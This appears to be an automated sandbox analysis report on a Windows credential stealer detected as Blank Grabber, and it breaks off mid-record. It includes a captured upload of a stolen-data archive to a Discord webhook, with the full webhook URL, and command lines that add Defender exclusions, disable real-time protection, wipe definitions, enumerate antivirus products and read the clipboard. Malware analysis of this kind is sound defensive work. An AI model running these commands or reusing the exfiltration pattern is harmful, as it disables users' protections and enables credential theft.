Jul 20, 2024 22:16:31.112606049 CEST	379	IN	HTTP/1.1 200 OK Date: Sat, 20 Jul 2024 20:16:30 GMT Content-Type: application/json; charset=utf-8 Content-Length: 202 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-33.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.33"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	162.159.137.232	443	7396	C:\Users\user\Desktop\e45AiBoV6X.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 20:16:31 UTC	309	OUT	POST /api/webhooks/1248781366489907321/ufb6qyCKcRyE7syQfJqh1lNQR64inZBSWaeenuFVMnWhurxQmS0fvG_72iP5niS7D08V HTTP/1.1 Host: canary.discord.com Accept-Encoding: identity Content-Length: 696330 User-Agent: python-urllib3/2.2.2 Content-Type: multipart/form-data; boundary=ee98191e18960bbd7c200f93a176e816
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: 2d 2d 65 65 39 38 31 39 31 65 31 38 39 36 30 62 62 64 37 63 32 30 30 66 39 33 61 31 37 36 65 38 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 0a da fd 71 21 04 00 00 01 0f 3f d9 cc df 5f a6 f8 b9 13 e1 2b 6a 9d 8c 83 3b aa d1 49 ae 19 11 10 3b 4f bd 9c b8 4e a8 7a 84 7f ef 62 49 90 bc cc d8 59 c0 33 7a dd 2c 81 98 1c 23 dc 7f d8 c9 b2 6b 29 c2 1f a0 a4 50 3b aa e0 34 c8 ce c9 2b 50 ea 1e 2f 85 08 a1 8d 55 9d 15 c6 ea 48 4f d3 Data Ascii: --ee98191e18960bbd7c200f93a176e816Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!q!?_+j;I;ONzbIY3z,#k)P;4+P/UHO
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: ec a0 88 52 32 1d 5e a6 8a 65 db ae 74 19 25 dd c0 3a e8 19 2b 12 60 27 7e 85 21 e0 bf d2 02 d0 bc 46 10 4b b2 b8 d4 5f 32 7b a2 5c a5 47 47 a3 66 b3 31 d5 b3 8d f1 e1 32 17 ef 14 c4 ae 7d 3c b6 b6 1c c0 64 06 b4 cd 14 c6 0f 2b c2 f0 d6 7c 26 f0 2d f4 d2 ab e6 f1 46 b4 63 da 31 89 bb 04 45 9e 6c 8e 38 bb eb e4 33 e6 85 e2 96 e7 54 ca a5 52 ce 2e b2 92 c2 b8 ca 48 53 01 90 51 e9 f0 7c 9e cc d4 ef aa 48 16 f6 8f 6c 96 f9 2c d4 11 54 3d 44 e8 24 23 3d c9 15 72 3f e2 a5 35 7f f2 fd e6 21 c0 d4 b1 e4 73 77 04 1a e6 ed 5e 50 e1 87 c1 9b b3 71 18 a0 c7 23 99 fb c9 bd 92 9d ea c6 35 0b 00 2c bb 4a 09 39 8e 1e f3 95 5e 69 36 93 a8 96 b5 f8 37 2a 74 cf d3 c3 7c 63 05 d1 7d 95 f5 1e 5c 82 1b 86 bf 0b eb 3c f7 de bb 4b 82 51 4b 84 13 11 dc 3a 47 ca 47 67 fc 6e 8b 57 Data Ascii: R2^et%:+`'~!FK_2{\GGf12}<d+\|&-Fc1El83TR.HSQ\|Hl,T=D$#=r?5!sw^Pq#5,J9^i67*t\|c}\<KQK:GGgnW
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: 76 42 0f 9b 24 2e 2e 67 5b 55 bc f8 51 a2 b8 85 46 2b e4 85 57 be 5d 0e 66 9e 65 79 a5 f9 f0 36 5a 76 26 22 e0 d1 28 64 40 f1 76 da 38 42 9d ea 9a 97 25 b3 97 a9 07 3f 64 a0 4d 54 d3 89 db 00 2b ec b4 f1 ac 18 3c 02 f0 24 cb d2 cc c2 6c e1 2d 02 7e 7c b3 10 07 0a f2 3c 50 06 a6 5b 7e 56 eb 99 29 d5 3c 7f e5 14 06 3a 4d 8c 06 04 e5 b5 5e 8f c7 b7 1c da fa 4c d6 4c 96 4a 6a 96 09 c0 35 3b 7f c9 21 b2 71 0d a5 a4 72 b1 f4 b4 54 53 db 88 3a 6c 48 4e a8 c1 70 65 0e ea 13 05 e5 a4 bc 2d 6b f0 12 45 51 f1 61 41 96 f8 53 66 f5 5d 19 33 c5 bc 00 7b e3 d1 bb d8 25 ce 68 a3 90 a3 cc b9 1d 8f 8e 37 ed c9 d3 53 c7 d6 3a 2a 02 70 4c 0e b9 c9 66 b1 49 ce ba a3 68 49 d3 d4 6a 0e 5f 1f 11 55 e7 fe d0 c3 44 01 87 1b 6a 1a 42 03 0f d4 9d 90 ba a4 7a 60 c4 d6 ac ce 04 4f 5f Data Ascii: vB$..g[UQF+W]fey6Zv&"(d@v8B%?dMT+<$l-~\|<P[~V)<:M^LLJj5;!qrTS:lHNpe-kEQaASf]3{%h7S:*pLfIhIj_UDjBz`O_
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: c8 0d dc 3b f1 ba 7e 74 4c aa 7e 7f d5 c8 d7 3e ac f4 56 18 d5 21 21 e4 bb 9e 2d ca 3b f3 97 86 1d 17 13 bc ec f4 90 a1 7d c7 df 0d 98 fb d7 08 b3 fe db 98 32 9c 18 b3 14 02 77 a9 66 6c 40 1b 67 73 51 18 64 5b f9 d4 fe 0d d1 82 2a f5 e3 37 59 56 a5 45 ac d9 2c 51 d9 d9 64 a1 42 d2 ba 19 38 93 0e 21 cb 16 d1 01 7a e4 f7 f8 9c a1 06 48 25 e9 2b 7e b3 dc c2 0f 7c 57 8d 02 86 4d ca 61 b5 89 f7 a9 d9 0b 77 76 ca 67 d1 52 eb 53 89 32 d7 21 ec 38 27 1b cf 52 59 ba aa 90 84 20 a0 b9 5d de d5 7f f8 9c 3e 14 8a ef 53 5f 01 c2 48 d7 5a cb 25 a6 ee c0 5a 18 5c ed 46 61 03 18 b1 55 bc c4 f8 bd 74 d8 6b 6b 45 44 f7 e4 8d f3 2b 1c b1 b8 0b 14 76 29 c1 be b2 a9 2f 91 a1 8a 84 df d8 a8 6f 26 6c 48 91 6d 32 89 d8 70 ce 08 b7 12 22 61 7a d0 31 7b 91 67 11 46 3d e0 27 26 28 Data Ascii: ;~tL~>V!!-;}2wfl@gsQd[*7YVE,QdB8!zH%+~\|WMawvgRS2!8'RY ]>S_HZ%Z\FaUtkkED+v)/o&lHm2p"az1{gF='&(
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: f0 69 90 2e 83 8f 37 83 bb e4 d5 63 04 51 02 6a ee de b0 82 81 c6 28 09 0d fd 2c 51 2a 23 70 04 3b 64 c7 71 b6 f0 d1 b4 3b 46 38 b9 39 26 a2 26 72 88 da 4c a9 e1 a7 5e b5 6c 4e 69 5c 2c d8 1b a6 a2 29 39 f0 d2 e4 fd 08 18 58 71 70 9d f0 3a c6 d5 41 03 8a 0a 2d 21 ad 72 eb 37 11 94 30 0d a9 a2 dd ef 67 25 33 db c8 6f aa 8e e4 ef f1 05 8f 1a d6 3b 05 8a a8 32 3e 12 53 8c 6f 31 c0 85 e1 d2 55 84 ec b8 97 75 fa e7 69 25 11 0a 60 df eb 0f fd f2 6d a4 0a 8f 83 79 bf 67 4c fc fa 38 58 27 2e 23 3f 8a bb 96 26 e4 b6 56 1a ea 32 95 3d 6d 8b 7d 65 d6 b8 62 21 24 19 74 41 7d 88 c5 4d b6 91 be 92 87 40 c2 81 08 19 06 3d e6 ae c4 14 cf d7 58 6f 3f 24 e4 4a 31 11 ec 8f 27 bb 70 92 92 00 58 79 78 aa 6e 29 7f 64 8a ac 4e 46 03 02 58 3d 6e 51 2e 52 dd 25 81 c0 ca 24 3a c1 Data Ascii: i.7cQj(,Q*#p;dq;F89&&rL^lNi\,)9Xqp:A-!r70g%3o;2>So1Uui%`mygL8X'.#?&V2=m}eb!$tA}M@=Xo?$J1'pXyxn)dNFX=nQ.R%$:
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: f3 7e c6 e2 d1 08 ef 55 5c fb 6a 25 36 4b 0c 20 41 8d 30 11 56 f3 73 e9 48 8a aa c0 60 31 89 6f cb a6 51 87 45 b1 bb 63 f6 b2 a0 bc 8e e8 50 89 88 a1 2a 0f 5d 72 d0 fd 0b dc 72 bd 44 0a d0 42 ed 75 f7 4b c0 a4 bd e6 b6 23 5a ce d2 30 9f 4c 81 20 93 fc 94 9d cc e4 fd c9 3e c7 1f 82 3a f0 fa d6 42 93 97 d5 75 53 c0 26 dd 73 97 43 24 f3 dd d7 da dc c6 bc e0 b5 f8 52 89 ce 50 d6 c7 2c 04 65 54 5b bd 78 b3 cd 76 3e a7 81 3a 56 ca 5b 17 92 63 27 f9 58 0e d4 fc 60 66 01 d4 0b cb 82 1c f7 91 f2 f1 4b 61 92 ef cb 6b ad 13 db 17 07 12 77 89 f7 2d 74 71 9a 2d 85 a0 f5 ee 71 6c e4 48 db 4a 9c 03 07 f3 cc 91 1b 61 98 7b 1a d8 aa 33 fc db df c1 38 1c d7 e3 4a 45 73 b9 d5 52 83 32 04 a7 02 9a 04 28 6a 9a fc e8 e4 1d ba 39 50 7e c5 49 a9 9e c9 5c 3c d3 68 e3 6f a9 ec 05 Data Ascii: ~U\j%6K A0VsH`1oQEcP*]rrDBuK#Z0L >:BuS&sC$RP,eT[xv>:V[c'X`fKakw-tq-qlHJa{38JEsR2(j9P~I\<ho
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: 26 84 34 4b e3 e5 04 1d 42 3e 20 db 06 38 8b 83 9d d7 c0 97 06 06 99 e1 6d db 8e e4 93 03 24 db ef ff 96 40 51 04 0e 69 eb 2b 28 2f 79 11 8c 75 c7 71 bf dc a3 11 28 20 cb 51 7d b5 12 4b fc 16 31 e9 c5 95 c4 b9 18 ac 84 0d fa 62 c9 c2 c2 f5 12 4d be 2b cc 6b 15 f2 2a 56 43 79 55 1d c0 b9 de ea 98 28 54 2f 9c 35 35 72 f5 62 46 1b 2c 70 78 eb e3 65 8c fc 74 3a 21 74 53 ad eb 2a e8 73 b9 d2 bd a6 09 cd 9e 95 5a 04 f7 59 c7 1c 19 44 99 c5 b2 e5 be 11 9c c8 4e 04 11 30 71 84 61 e0 81 c2 c2 0c 18 46 ec 4c 84 31 25 96 95 15 58 4e 7b 69 43 1c 92 9e 9c 37 b8 dc 2c d4 d4 bb a6 64 b4 e9 5b c6 7d 09 32 5f 71 50 55 b5 76 12 47 85 c3 09 0f 56 c3 6b ab 22 43 d2 b9 5f 72 c5 97 c9 ea f6 16 6c 42 de df dc df d2 c3 f4 6c 96 24 61 60 6f 22 76 dd ff a8 ba 5b 71 fa dd 2e 09 70 Data Ascii: &4KB> 8m$@Qi+(/yuq( Q}K1bM+kVCyU(T/55rbF,pxet:!tSsZYDN0qaFL1%XN{iC7,d[}2_qPUvGVk"C_rlBl$a`o"v[q.p
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: d6 ce b5 52 09 0c 3b 11 2d 59 93 0d d1 8c da 6b b8 13 4c 4f ce f7 57 c7 5d 7a 4d 90 a3 ad 66 05 70 45 ec 4d 23 2c e2 0c 76 86 31 db 3f 8d 24 a9 b5 d1 58 62 9f 4d 4a 15 71 6f 91 56 a0 7d e0 32 ba 74 9f 78 72 6b 96 88 fc fa a5 ee 32 b5 35 17 1e 08 f4 be aa 3c 5d 02 ca 9f 36 1d 37 42 05 de 8e e6 c4 c2 2c 07 5d 76 e2 2e 24 ea 62 68 8d af 06 d0 f0 3d c2 4f 87 19 ed d4 26 22 70 b4 c6 cb c0 9d 44 c3 a3 75 02 04 76 bf a7 ae 73 9a 97 f3 15 fe aa ba ef a4 ed e8 d5 5f 34 3b a5 15 2d ce dc 56 e7 42 f7 f0 b2 9d 35 32 47 89 9e 84 1c 27 4c b6 86 4c eb 06 b4 c8 9b 2c 18 f5 98 87 3b 63 d9 1a 84 d3 b1 e8 9a 2f b7 e7 d1 58 90 49 9d 66 ac 20 d4 73 e8 25 1c bb d0 98 f7 3c b1 82 71 cf 04 f4 7c 86 80 5a a2 3a ad 10 34 34 0f 2f d1 cc bb 34 59 0d d0 af 44 00 ba 9f e3 be f4 69 3f Data Ascii: R;-YkLOW]zMfpEM#,v1?$XbMJqoV}2txrk25<]67B,]v.$bh=O&"pDuvs_4;-VB52G'LL,;c/XIf s%<q\|Z:44/4YDi?
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: 53 f6 11 54 61 7e 5f 23 37 de 7f 7d b0 6c ac 45 b1 a7 d0 dd 0f db 46 e5 c0 8f 02 2d d3 3f 6a 92 13 49 c4 3d 06 57 92 92 63 6b b7 e9 ef 16 99 cd 28 c0 da 92 19 6a 11 cf 40 c3 34 b3 56 22 32 78 20 2f 58 55 5b e7 d4 8d 8a 9b 92 ce bd d0 f3 71 d9 a9 56 15 77 39 48 87 ef f7 0f 6e c4 11 eb 97 34 eb f2 f7 7b fc be d5 55 d0 dc 0f ee 13 d3 a6 9b ae 93 2e 4c 76 5f b4 79 ce 93 2e 7d f6 7d b4 b5 b2 1c 3f f0 49 f7 7b 53 63 4a 54 26 92 88 cd 22 77 3a 4b 65 7a 65 f3 91 a6 28 7f ec 15 a5 ba 05 9f 9f 4e 99 bc f5 31 24 92 14 09 4a 3c 80 de a7 2a 0c 99 72 e6 54 26 c2 b9 ae e9 72 3e c6 fe ba e9 07 8d a9 c4 e3 74 76 f8 eb 55 fe 10 45 42 30 a7 06 f7 d8 f4 70 4c 09 82 8c de 1f 1e 60 74 40 ea 56 64 18 95 e9 0a 91 d0 73 5f 68 d9 2b c9 57 0c 03 bd cf 7c 74 d9 b7 60 f6 76 10 78 43 Data Ascii: STa~_#7}lEF-?jI=Wck(j@4V"2x /XU[qVw9Hn4{U.Lv_y.}}?I{ScJT&"w:Keze(N1$J<*rT&r>tvUEB0pL`t@Vds_h+W\|t`vxC
2024-07-20 20:16:31 UTC	16384	OUT	Data Raw: f7 6d 01 09 2e 8c b8 a4 e2 68 86 b6 32 99 d7 a3 6b 92 eb 39 c0 19 fb 71 25 22 c3 dd 5f 3f 62 1a cc a4 d3 d4 6f a8 18 5c 2c bd 5a e7 f7 7a a8 8a 83 4d 20 cc 1c ac d8 62 35 a9 f4 13 ff 24 fd ca 3d 58 8b 3b b6 9e 76 c7 57 62 fc 60 0a fe 2b 5c af 12 7f a4 ae ad ac 12 27 e3 37 8f 24 84 31 fd 25 26 e6 1c c1 d4 0c 89 be 17 22 85 5b d9 df 6e 54 d7 91 bf 03 65 11 bd fb e8 1a d7 fc e3 b5 97 1a 56 70 97 99 fd 40 a0 5a a1 00 f8 2a 2e 72 68 b3 cf 15 47 53 11 fc 12 2b 7b af ea 17 48 3a c3 2d 0b 9e c1 27 b1 7d 3f 58 71 24 9d 50 0a da bf a7 23 24 dc a2 33 72 97 88 5c 97 6e f2 77 cf ce 7d 43 63 3e 09 f4 7c ef df 5d c9 02 66 f7 d8 9a 38 e3 c4 72 43 48 79 65 6c 30 1c 58 8e 14 4a f0 a0 92 f0 3a b2 35 a6 1b 8a ea 08 47 56 de f4 2f 7c 5c 47 ed f3 3f e6 85 15 34 0a 27 00 1b 65 Data Ascii: m.h2k9q%"_?bo\,ZzM b5$=X;vWb`+\'7$1%&"[nTeVp@Z*.rhGS+{H:-'}?Xq$P#$3r\nw}Cc>\|]f8rCHyel0XJ:5GV/\|\G?4'e
2024-07-20 20:16:32 UTC	1239	IN	HTTP/1.1 200 OK Date: Sat, 20 Jul 2024 20:16:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8a65a1279d6572b7-EWR CF-Cache-Status: DYNAMIC Set-Cookie: __dcfduid=f4e6b77e46d411efb37faa1e6a0ff386; Expires=Thu, 19-Jul-2029 20:16:32 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Via: 1.1 google alt-svc: h3=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1721506593 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2L3VMy9NAmbPhLy4j11tEGpQBpQ16ADtQv%2Bs5F9eO98hgB9PPy5LdFCUVyk%2BSjA6J%2BM3U54hKHRGB8T0umr47xYZyczO2yqxdNVWAwOVNRSF2oO6SBphrS%2FoLZ7p5MfLdYbp1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870

Target ID:	0
Start time:	16:16:05
Start date:	20/07/2024
Path:	C:\Users\user\Desktop\e45AiBoV6X.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\e45AiBoV6X.exe"
Imagebase:	0x7ff6fb1e0000
File size:	6'146'615 bytes
MD5 hash:	3E6D7972822636F67CCF275EBD140188
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1720264732.000001F32EEE2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1720264732.000001F32EEE4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:16:05
Start date:	20/07/2024
Path:	C:\Users\user\Desktop\e45AiBoV6X.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\e45AiBoV6X.exe"
Imagebase:	0x7ff6fb1e0000
File size:	6'146'615 bytes
MD5 hash:	3E6D7972822636F67CCF275EBD140188
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1986903181.000002290AFF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1982629773.000002290B711000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:16:07
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:16:07
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:16:07
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:16:07
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:16:08
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:16:08
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:16:09
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:16:09
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:16:09
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7804, Parent PID: 7772

General

Target ID:	11
Start time:	16:16:09
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff70fdd0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff70fdd0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
